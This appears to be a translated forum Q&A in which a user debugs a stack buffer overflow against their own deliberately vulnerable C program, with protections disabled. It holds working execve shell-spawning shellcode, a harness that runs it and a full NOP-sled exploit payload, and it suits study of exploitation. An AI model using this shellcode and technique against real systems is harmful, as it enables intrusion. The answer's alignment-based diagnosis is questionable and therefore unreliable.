Переполнение буфера не порождает оболочку? - PullRequest
0 голосов
/ 20 мая 2019

(я знаю, слишком много ответов уже, но нужна помощь)

Насколько я знаю, переполнение буфера может быть защищено либо ASLR, канарейками памяти, либо неисполняемым стеком. поэтому для целей тестирования я отключил ASLR с последующими sysctl -w kernel.randomize_va_space=0, отключил канареи программ с последующими -fno-stack-protector и сделал стек исполняемым со следующими -z execstack.

Теперь, чтобы подтвердить это, я сделал: ASLR

root@kali:/tmp# cat  /proc/sys/kernel/randomize_va_space
0

Исполняемый стек : readelf -l vuln2

GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
               0x0000000000000000 0x0000000000000000  RWE    0x10

Другая информация, которая может помочь :

root@kali:/tmp# file vuln2
vuln2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8102b60ffa8c26f231e4184d2f49b2e7c26a18b9, not stripped

Архитектура ЦП имеет младший порядок:

root@kali:/tmp# lscpu | grep 'Byte Order'
Byte Order:          Little Endian

Программа:

#include <stdio.h>

int main(int argc, char *argv[]){
    char buf[512];
    strcpy(buf, argv[1]);
    return 0;
}

Компиляция:

gcc -o vuln2 vuln2.c -fno-stack-protector -z execstack

Код оболочки: равен 25 байтам

\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05

работает ли шеллкод? Да , да, это так, компилируя эту порожденную оболочку:

#include <sys/mman.h>
#include <stdint.h>

char code[] = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05";

int main(){
mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC);
  (*(void(*)()) code)();
  return 0;
}

Как мне его использовать?

ну, мне нужно 526 байт для перезаписи RIP:

(gdb) r $(python -c 'print "A"*526')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "A"*526')

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/x $rip
0x414141414141: Cannot access memory at address 0x414141414141

Начальный адрес стека: 0x7fffffffdd70

(gdb) x/100x $rsp
 0x7fffffffdd60: 0xffffe058      0x00007fff      0xf7fd3298      0x00000002
 0x7fffffffdd70: 0x41414141      0x41414141      0x41414141      0x41414141
 0x7fffffffdd80: 0x41414141      0x41414141      0x41414141      0x41414141
 0x7fffffffdd90: 0x41414141      0x41414141      0x41414141      0x41414141

Адрес RBP:

(gdb) x/x $rbp
 0x7fffffffdf70: 0x41414141

Теперь, чтобы использовать стек, мы минус 6 из 526, которые будут заменены адресом возврата, и минус 25, который является шелл-кодом, так что в итоге 526-6-25=495

Последний эксплойт:

(gdb) r $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /tmp/vuln2 $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')

 Program received signal SIGILL, Illegal instruction.
 0x00007fffffffdf73 in ?? ()

Есть ли какая-то ошибка, которую я совершаю?

1 Ответ

0 голосов
/ 20 мая 2019

1) У меня такая же проблема. Это происходит, когда адрес возврата в стеке

изменение с помощью шеллкода и замененный адрес не принадлежит действительному

адрес.

После получения этой ошибки введите x / 400xw $ rsp, выберите действительный адрес и исправьте

отступ от стека.

Пожалуйста.

0x00007fffffffdf73 не может быть действительным адресом, поскольку вы находитесь в режиме 64 бит

и этот адрес не выровнен на 8 байт.

Нет слов начинается с этого адреса.

Например,

 0x7fffffffdf70: 0x41414141      0x41414141      0x41414141      0x41414141

Если вы попытаетесь получить доступ к 0x7fffffffdf73, вы получите первое слово (слева) и 3-й байт справа

(потому что с прямым порядком байтов MSB справа).

Итак, вам нужно выбрать адрес, например 0x7fffffffdf70 или 0x7fffffffdf74 или

0x7fffffffdf78 и т. Д. (Последняя цифра адреса, кратная 4)

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...